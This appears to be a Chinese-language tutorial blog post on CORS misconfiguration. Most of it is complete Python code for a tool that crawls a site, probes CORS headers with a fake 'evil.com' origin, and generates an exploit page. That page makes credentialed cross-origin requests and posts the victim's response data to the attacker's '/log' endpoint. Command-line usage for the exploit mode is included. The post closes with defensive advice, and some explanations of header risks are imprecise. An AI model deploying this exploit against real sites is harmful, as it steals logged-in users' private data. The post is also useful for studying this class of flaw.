各位观众老爷们,大家好!我是你们的老朋友,一个在代码堆里摸爬滚打多年的老兵。今天咱们不聊别的,就来聊聊 CORS 这个磨人的小妖精,以及如何利用它来搞点“事情”。当然,咱们搞事情的前提是:仅用于授权的安全测试,严禁用于非法用途!
一、CORS 是个啥?为啥它会泄露敏感信息?
CORS,全称 Cross-Origin Resource Sharing,翻译过来就是“跨域资源共享”。 这玩意儿是浏览器为了安全起见,搞出来的一套机制。 想象一下,没有 CORS,你在 evil.com
上写个脚本,直接就能读取 bank.com
上的数据,那还得了?银行卡里的钱分分钟被人搬空。
CORS 的核心思想就是:默认情况下,浏览器不允许一个域名的网页去请求另一个域名的资源。除非对方明确授权,允许你这么做。
那么,CORS 怎么会泄露敏感信息呢?
问题就出在这个“授权”上。如果网站的 CORS 配置不当,比如说:
- *`Access-Control-Allow-Origin: `**: 这表示允许任何域名访问,相当于把大门敞开了,谁都能进来。如果网站返回的是用户的敏感数据,那可就糟了。
Access-Control-Allow-Origin: evil.com
:看起来只允许evil.com
访问,但如果evil.com
是个恶意网站,那你的用户数据还是会被偷走。Access-Control-Allow-Origin: null
: 某些情况下(例如,从本地文件加载的 HTML),Origin
头部会是null
。 如果服务器错误地允许null
来源,就可能导致攻击者从本地文件系统读取敏感信息。- *`Access-Control-Allow-Origin: .example.com`**: 这种通配符匹配看起来很方便,但如果子域名被攻破,攻击者就能利用这个漏洞读取主域名下的数据。
Access-Control-Allow-Origin: evil.com.attacker.com
: 攻击者可以注册一个以合法域名结尾的域名,利用服务器的字符串匹配漏洞绕过限制。
总之,CORS 配置稍有不慎,就会变成一个安全漏洞,让攻击者有机可乘。
二、CORS 扫描与利用自动化工具设计
既然 CORS 这么重要,那我们就来设计一个自动化工具,用来扫描和利用 CORS 配置错误。 这个工具主要包含以下几个模块:
- 目标发现模块: 负责收集目标网站的所有 URL。
- CORS 扫描模块: 负责检测每个 URL 的 CORS 配置,判断是否存在漏洞。
- 漏洞利用模块: 负责利用发现的 CORS 漏洞,尝试读取敏感信息。
- 报告生成模块: 负责生成扫描报告,详细列出发现的漏洞和利用结果。
接下来,我们就来详细设计每个模块。
1. 目标发现模块
这个模块可以使用各种爬虫技术,从目标网站的首页开始,递归地抓取所有链接。 也可以使用一些现成的爬虫框架,比如 Scrapy。
import scrapy
class TargetSpider(scrapy.Spider):
name = "target_spider"
start_urls = ["http://example.com"] # 替换为目标网站
def parse(self, response):
for href in response.css('a::attr(href)').getall():
yield response.follow(href, self.parse)
yield {'url': response.url}
# 运行爬虫的示例代码 (需要安装 scrapy)
# scrapy crawl target_spider -o urls.json
这个爬虫会递归地抓取 example.com
及其所有子页面的 URL,并将结果保存到 urls.json
文件中。
2. CORS 扫描模块
这个模块是整个工具的核心。 它会读取目标发现模块收集到的 URL,然后逐个发送 HTTP 请求,并检查响应头中的 Access-Control-Allow-Origin
字段。
import requests
import json
def scan_cors(url, evil_origin="https://evil.com"):
"""扫描 CORS 配置"""
try:
# 发送 OPTIONS 请求,模拟跨域请求
headers = {'Origin': evil_origin}
response = requests.options(url, headers=headers)
# 检查响应头
if 'Access-Control-Allow-Origin' in response.headers:
acao = response.headers['Access-Control-Allow-Origin']
print(f"[+] Found Access-Control-Allow-Origin: {acao} on {url}")
return url, acao
else:
print(f"[-] No Access-Control-Allow-Origin found on {url}")
return None, None
except requests.exceptions.RequestException as e:
print(f"[-] Error scanning {url}: {e}")
return None, None
def process_urls(urls_file):
"""处理 URL 列表,扫描 CORS 配置"""
with open(urls_file, 'r') as f:
urls = [json.loads(line)['url'] for line in f] # 从 JSON 文件读取 URL
vulnerable_urls = []
for url in urls:
vuln_url, acao = scan_cors(url)
if vuln_url:
vulnerable_urls.append((vuln_url, acao))
return vulnerable_urls
# 示例用法
# vulnerable = process_urls('urls.json')
# print(vulnerable)
这个函数会向目标 URL 发送一个 OPTIONS
请求,并在请求头中设置 Origin
字段为 evil.com
。 然后,它会检查响应头中是否存在 Access-Control-Allow-Origin
字段。 如果存在,就说明这个 URL 可能存在 CORS 漏洞。
3. 漏洞利用模块
如果 CORS 扫描模块发现了漏洞,这个模块就会尝试利用这些漏洞,读取敏感信息。
import requests
def exploit_cors(url, evil_origin, acao):
"""利用 CORS 漏洞读取数据"""
# 创建一个 HTML 文件,用于发起跨域请求
html_content = f"""
<!DOCTYPE html>
<html>
<head>
<title>CORS Exploitation</title>
</head>
<body>
<script>
function corsRequest() {{
var xhr = new XMLHttpRequest();
var method = 'GET';
var url = '{url}';
xhr.onload = function() {{
// 处理响应数据
console.log("Response:", xhr.responseText);
// 将响应数据发送到攻击者的服务器
sendDataToAttacker(xhr.responseText);
}};
xhr.onerror = function() {{
console.error("Request failed");
}};
xhr.open(method, url, true);
xhr.withCredentials = true; // 如果需要发送 Cookie
xhr.send();
}}
function sendDataToAttacker(data) {{
// 将数据发送到攻击者的服务器,例如通过 POST 请求
fetch('{evil_origin}/log', {{
method: 'POST',
body: data
}});
}}
corsRequest();
</script>
</body>
</html>
"""
# 将 HTML 内容保存到本地文件
with open("exploit.html", "w") as f:
f.write(html_content)
print(f"[+] Saved exploit code to exploit.html. Open it in your browser from {evil_origin} (served locally, e.g., using python -m http.server)")
print("[+] If the server is vulnerable, you should see the data in your attacker's server logs.")
# 示例用法
# exploit_cors('http://example.com/api/userinfo', 'http://evil.com', '*')
这个函数会生成一个 HTML 文件,其中包含一段 JavaScript 代码,用于发起跨域请求。 然后,它会提示用户在浏览器中打开这个 HTML 文件。 如果 CORS 配置存在漏洞,浏览器就会允许这个跨域请求,并将目标 URL 的响应数据发送到攻击者的服务器。
这个 exploit.html
文件需要部署在攻击者的服务器上。 攻击者需要搭建一个 HTTP 服务器,用于托管这个文件。 比如,可以使用 Python 的 http.server
模块:
python -m http.server 8000
然后,在浏览器中打开 http://evil.com:8000/exploit.html
,就可以触发 CORS 漏洞了。
4. 报告生成模块
这个模块会将扫描结果和利用结果整理成一份报告,方便用户查看。
import json
def generate_report(vulnerable_urls, report_file="cors_report.json"):
"""生成扫描报告"""
report_data = []
for url, acao in vulnerable_urls:
report_data.append({
"url": url,
"access_control_allow_origin": acao,
"status": "Vulnerable" # 可以根据利用结果更新状态
})
with open(report_file, "w") as f:
json.dump(report_data, f, indent=4)
print(f"[+] Report saved to {report_file}")
# 示例用法
# generate_report(vulnerable, "my_report.json")
这个函数会将扫描到的所有漏洞 URL 和 Access-Control-Allow-Origin
的值保存到一个 JSON 文件中。
三、自动化工具的整合
现在,我们已经完成了各个模块的设计。接下来,我们将这些模块整合在一起,创建一个完整的自动化工具。
import scrapy
from scrapy.crawler import CrawlerProcess
import requests
import json
import argparse
# 目标发现模块 (Scrapy 爬虫)
class TargetSpider(scrapy.Spider):
name = "target_spider"
def __init__(self, start_urls=None, *args, **kwargs):
super(TargetSpider, self).__init__(*args, **kwargs)
self.start_urls = start_urls or ["http://example.com"]
def parse(self, response):
for href in response.css('a::attr(href)').getall():
yield response.follow(href, self.parse)
yield {'url': response.url}
# CORS 扫描模块
def scan_cors(url, evil_origin="https://evil.com"):
"""扫描 CORS 配置"""
try:
# 发送 OPTIONS 请求,模拟跨域请求
headers = {'Origin': evil_origin}
response = requests.options(url, headers=headers)
# 检查响应头
if 'Access-Control-Allow-Origin' in response.headers:
acao = response.headers['Access-Control-Allow-Origin']
print(f"[+] Found Access-Control-Allow-Origin: {acao} on {url}")
return url, acao
else:
print(f"[-] No Access-Control-Allow-Origin found on {url}")
return None, None
except requests.exceptions.RequestException as e:
print(f"[-] Error scanning {url}: {e}")
return None, None
def process_urls(urls):
"""处理 URL 列表,扫描 CORS 配置"""
vulnerable_urls = []
for url in urls:
vuln_url, acao = scan_cors(url)
if vuln_url:
vulnerable_urls.append((vuln_url, acao))
return vulnerable_urls
# 漏洞利用模块
def exploit_cors(url, evil_origin, acao):
"""利用 CORS 漏洞读取数据"""
# 创建一个 HTML 文件,用于发起跨域请求
html_content = f"""
<!DOCTYPE html>
<html>
<head>
<title>CORS Exploitation</title>
</head>
<body>
<script>
function corsRequest() {{
var xhr = new XMLHttpRequest();
var method = 'GET';
var url = '{url}';
xhr.onload = function() {{
// 处理响应数据
console.log("Response:", xhr.responseText);
// 将响应数据发送到攻击者的服务器
sendDataToAttacker(xhr.responseText);
}};
xhr.onerror = function() {{
console.error("Request failed");
}};
xhr.open(method, url, true);
xhr.withCredentials = true; // 如果需要发送 Cookie
xhr.send();
}}
function sendDataToAttacker(data) {{
// 将数据发送到攻击者的服务器,例如通过 POST 请求
fetch('{evil_origin}/log', {{
method: 'POST',
body: data
}});
}}
corsRequest();
</script>
</body>
</html>
"""
# 将 HTML 内容保存到本地文件
with open("exploit.html", "w") as f:
f.write(html_content)
print(f"[+] Saved exploit code to exploit.html. Open it in your browser from {evil_origin} (served locally, e.g., using python -m http.server)")
print("[+] If the server is vulnerable, you should see the data in your attacker's server logs.")
# 报告生成模块
def generate_report(vulnerable_urls, report_file="cors_report.json"):
"""生成扫描报告"""
report_data = []
for url, acao in vulnerable_urls:
report_data.append({
"url": url,
"access_control_allow_origin": acao,
"status": "Vulnerable" # 可以根据利用结果更新状态
})
with open(report_file, "w") as f:
json.dump(report_data, f, indent=4)
print(f"[+] Report saved to {report_file}")
def main():
parser = argparse.ArgumentParser(description="CORS Scanner and Exploiter")
parser.add_argument("-u", "--url", help="Target URL to scan", required=False)
parser.add_argument("-f", "--file", help="File containing list of URLs", required=False)
parser.add_argument("-d", "--discover", help="Discover URLs using crawler starting from this URL", required=False)
parser.add_argument("-e", "--evil", help="Attacker's domain (e.g., https://evil.com)", default="https://evil.com")
parser.add_argument("-o", "--output", help="Output report file", default="cors_report.json")
parser.add_argument("-x", "--exploit", help="Exploit a specific vulnerable URL", required=False)
args = parser.parse_args()
vulnerable = []
if args.discover:
print(f"[+] Discovering URLs starting from {args.discover}")
process = CrawlerProcess()
spider = TargetSpider(start_urls=[args.discover])
process.crawl(spider)
process.start() # the script will block here until the crawling is finished
urls = []
with open('urls.json', 'r') as f:
for line in f:
urls.append(json.loads(line)['url'])
vulnerable = process_urls(urls)
generate_report(vulnerable, args.output)
elif args.url:
print(f"[+] Scanning single URL: {args.url}")
vuln_url, acao = scan_cors(args.url, args.evil)
if vuln_url:
vulnerable = [(vuln_url, acao)]
generate_report(vulnerable, args.output)
elif args.file:
print(f"[+] Scanning URLs from file: {args.file}")
urls = []
with open(args.file, 'r') as f:
for line in f:
urls.append(line.strip())
vulnerable = process_urls(urls)
generate_report(vulnerable, args.output)
elif args.exploit:
print(f"[+] Exploiting URL: {args.exploit}")
vuln_url, acao = scan_cors(args.exploit, args.evil)
if vuln_url:
exploit_cors(args.exploit, args.evil, acao)
else:
print("[-] URL is not vulnerable to CORS.")
else:
print("[-] No target specified. Use -u, -f, or -d to specify a target.")
if __name__ == "__main__":
main()
使用方法:
-
安装依赖:
pip install scrapy requests
-
运行工具:
-
扫描单个 URL:
python cors_tool.py -u http://example.com -e https://evil.com -o report.json
-
扫描 URL 列表:
python cors_tool.py -f urls.txt -e https://evil.com -o report.json
urls.txt
文件包含要扫描的 URL 列表,每行一个 URL。 -
爬取并扫描网站:
python cors_tool.py -d http://example.com -e https://evil.com -o report.json
这个命令会使用 Scrapy 爬取
http://example.com
及其子页面,然后扫描这些 URL 的 CORS 配置。 -
利用漏洞:
python cors_tool.py -x http://example.com/api/userinfo -e https://evil.com
这个命令会生成一个 HTML 文件,用于利用
http://example.com/api/userinfo
上的 CORS 漏洞。 然后,你需要在浏览器中打开这个 HTML 文件,并查看攻击者服务器的日志,看是否成功读取到数据。
-
四、工具的局限性和改进方向
这个工具只是一个初步的实现,还存在一些局限性:
- 只能检测简单的 CORS 配置错误: 无法检测复杂的 CORS 配置,比如基于请求头中的其他字段进行授权。
- 无法自动利用漏洞: 需要手动打开生成的 HTML 文件,并查看攻击者服务器的日志。
- 没有处理速率限制: 如果目标网站有速率限制,可能会被封 IP。
- 依赖于 Scrapy: 虽然 Scrapy 很强大,但对于简单的爬虫任务来说,有点重。
未来可以从以下几个方面改进这个工具:
- 支持更多 CORS 配置的检测: 可以使用正则表达式或其他技术,分析
Access-Control-Allow-Origin
字段的值,判断是否存在更复杂的漏洞。 - 自动化漏洞利用: 可以使用 Selenium 或 Puppeteer 等工具,模拟用户在浏览器中的操作,自动打开 HTML 文件,并收集攻击者服务器的日志。
- 实现速率限制处理: 可以使用代理 IP 池或调整请求频率,避免被目标网站封 IP。
- 重构爬虫模块: 可以使用
requests
库或其他更轻量级的 HTTP 客户端,实现一个简单的爬虫。 - 增加Payload生成模块,可以根据不同的CORS配置生成不同的Payload。
- 增加对 preflight 请求的处理,更准确地判断CORS配置是否正确。
五、CORS 安全防护建议
说了这么多,都是为了让大家更好地理解 CORS 漏洞的危害,以及如何防范这些漏洞。 以下是一些 CORS 安全防护建议:
- *不要使用 `Access-Control-Allow-Origin: `**: 这会允许任何域名访问你的资源,非常危险。
- 尽量避免使用通配符子域名: 如果必须使用通配符子域名,一定要仔细评估风险。
- 验证
Origin
头部的值: 在服务器端验证Origin
头部的值,只允许受信任的域名访问你的资源。 - 使用 CORS 库或框架: 许多编程语言和框架都提供了 CORS 库或框架,可以帮助你更轻松地配置 CORS。
- 定期进行安全审计: 定期扫描你的网站,检查是否存在 CORS 漏洞。
总结
CORS 漏洞是一种常见的 Web 安全漏洞,如果不加以防范,可能会导致敏感信息泄露。 通过理解 CORS 的原理,以及如何利用 CORS 漏洞,我们可以更好地保护我们的网站安全。
记住,安全是一个持续的过程,需要不断学习和改进。 希望今天的讲座能对你有所帮助! 咱们下期再见!